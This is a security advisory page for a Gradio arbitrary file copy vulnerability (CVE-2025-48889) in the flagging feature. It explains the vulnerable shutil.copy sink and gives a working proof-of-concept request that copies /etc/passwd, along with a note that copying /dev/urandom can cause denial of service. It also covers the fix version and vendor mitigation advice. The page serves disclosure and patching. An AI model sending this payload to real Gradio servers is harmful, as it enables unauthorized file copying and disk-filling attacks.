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🐍 PyPI

GHSA-8jw3-6x8j-v96g

MEDIUM

Gradio Allows Unauthorized File Copy via Path Manipulation

Also known asCVE-2025-48889PYSEC-2025-119
Published
May 29, 2025
Updated
Jun 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk45th percentile-0.86%
0.00%0.66%1.31%1.97%0.4%0.6%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍gradio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

Description

The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.

Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method

The vulnerable code flow:

  1. A JSON payload is sent to the /gradio_api/run/predict endpoint
  2. The path field within FileData object can reference any file on the system
  3. When processing this request, the Component.flag() method creates a GradioDataModel object
  4. The FileData._copy_to_dir() method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
    pathlib.Path(dir).mkdir(exist_ok=True)
    new_obj = dict(self)

    if not self.path:
        raise ValueError("Source file path is not set")
    new_name = shutil.copy(self.path, dir)  # vulnerable sink
    new_obj["path"] = new_name
    return self.__class__(**new_obj)
  1. The lack of validation allows copying any file the Gradio process can read

PoC

The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:

Setup a Gradio app:

import gradio as gr

def image_classifier(inp):
    return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")

test.launch(share=True)

Run the PoC:

import requests

url = "https://[your-gradio-app-url]/gradio_api/run/predict"  
headers = {
    "Content-Type": "application/json",  
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" 
}

payload = {
    "data": [
        {
            "path": "/etc/passwd",  
            "url": "[your-gradio-app-url]",
            "orig_name": "network_config", 
            "size": 5000,  
            "mime_type": "text/plain", 
            "meta": {
                "_type": "gradio.FileData"  
            }
        },
        {}  
    ],
    "event_data": None,
    "fn_index": 4, 
    "trigger_id": 11, 
    "session_hash": "test123"  
}

response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgradioall versions5.31.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gradio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update gradio to 5.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8jw3-6x8j-v96g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8jw3-6x8j-v96g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8jw3-6x8j-v96g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. ### Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies. **Source**: User-controlled `path` parameter in the flagging functionality JSON payload **Sink**
O3 Security · Impact-Aware SCA

Is GHSA-8jw3-6x8j-v96g in your dependencies?

O3 detects GHSA-8jw3-6x8j-v96g across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.